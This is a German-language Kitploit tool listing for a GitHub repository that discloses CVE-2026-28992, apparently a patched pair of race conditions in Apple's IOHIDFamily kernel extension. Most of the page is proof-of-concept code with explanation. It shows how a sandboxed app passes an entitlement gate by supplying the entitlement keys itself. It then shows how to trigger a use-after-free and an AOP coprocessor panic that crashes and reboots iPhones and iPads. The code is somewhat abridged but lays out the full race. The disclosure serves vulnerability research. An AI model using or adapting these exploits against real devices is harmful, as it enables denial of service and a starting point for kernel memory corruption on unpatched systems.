Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions — UAF- und AOP-Coprozessor-Panik in IOHIDEventServiceFastPathUserClient. Keine Entitlements erforderlich, aus der App-Sandbox erreichbar. | Kitploit
Tools/GitHubGitHub/0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions
Privilege EscalationiOS-SicherheitSchwachstellenanalyseExploitationPenetrationstestsMobile SicherheitRed TeamingBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions

CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions

UAF- und AOP-Coprozessor-Panik in IOHIDEventServiceFastPathUserClient. Keine Entitlements erforderlich, aus der App-Sandbox erreichbar.

Repository anzeigen
1335vor 13 TagenNoch nicht geprüft

CVE-2026-28992: IOHIDFamily FastPathUserClient Race Conditions

CVE-2026-28992 | Autor: Johnny Franks (@zeroxjf)

Komponente: IOHIDFamily

Auswirkung: Ein Angreifer könnte eine unerwartete Beendigung der App verursachen

Beschreibung: Eine Speicherkorruptions-Schwachstelle wurde durch verbessertes Locking behoben.

— Apple Security Content, iOS 26.5 und iPadOS 26.5

Beide PoCs verursachen einen Kernel-Panic und starten die betroffenen Geräte neu. Speichern Sie zuerst Ihre Arbeit.

Zwei Race Conditions in IOHIDEventServiceFastPathUserClient (IOHIDFamily-Kext). Keine Entitlements erforderlich. Aus der normalen App-Sandbox erreichbar.

Beide Vektoren verwenden IOServiceOpen(service, task, 2, &conn). Das sel0-Open-Gate prüft FastPathHasEntitlement und FastPathMotionEventEntitlement in dem vom Aufrufer bereitgestellten OSDictionary anstelle der während initWithTask gespeicherten Entitlement-Flags; eine sandboxierte App passiert das Gate, indem sie diese Schlüssel in die Eingabestruktur aufnimmt.

UAF — copyEvent race

root@kitploit:~
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
    IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}

// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
    IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
    IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}

// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
    uint64_t args[2] = { 0, 1 };
    IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}

Der Close-Pfad (sel1) verwirft den Provider-Zustand und löscht +0x109 ohne Sperre. copyEvent (sel2) prüft unter einer Sperre pro Verbindung ein anderes Flag (+0x108) und ruft dann den Provider auf. Mehrere Verbindungen zum selben Provider bedeuten, dass Close und copyEvent in unterschiedlichen Sperrdomänen auf gemeinsam genutzten provider-seitigen Objekten arbeiten.

AOP panic — termination race

root@kitploit:~
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
    IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// opener threads: continuous close → reopen
while (!stop) {
    IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
    IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
    // create + gate 16 probe connections
    io_connect_t probes[16];
    for (int i = 0; i < 16; i++) {
        IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
        IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
    }

    // destroy all probes — each fires async didTerminate → teardown
    // teardown removes/frees provider-facing state while opener threads iterate
    // provider-facing state via the open path
    for (int i = 0; i < 16; i++)
        mach_port_destroy(mach_task_self(), probes[i]);

    usleep(80000); // 80ms race window
}

mach_port_destroy löst asynchrones didTerminate → Close/Teardown aus, unsynchronisiert mit gleichzeitigen sel0-Open-Pfaden auf anderen Verbindungen. Dies sättigt außerdem die Mailbox der SPU-gestützten Provider und löst einen Timeout des AOP-Watchdogs aus.

Inhalt

Tool herunterladen
PfadBeschreibung
UAFPoc/iOS-App – löst die UAF aus (MTE-Tag-Fehler auf A17+, Data Abort auf Pre-A17)
AOPPanicPoc/iOS-App – löst den AOP-Coprozessor-Panic durch Sättigung der SPU-Mailbox aus
panic-logs/mte-tag-fault.ipsKernel-Tag-Check-Fehler – iPhone 17 Pro Max (A19 Pro, MTE+PAC)
panic-logs/ipad-data-abort.ipsKernel-Data-Abort – iPad Pro 12,9" der 2. Generation (A10X, ohne MTE/PAC)
panic-logs/aop-panic.ipsAOP-Coprozessor-Panic – iPhone 17 Pro Max (SPU-Mailbox-Überlauf)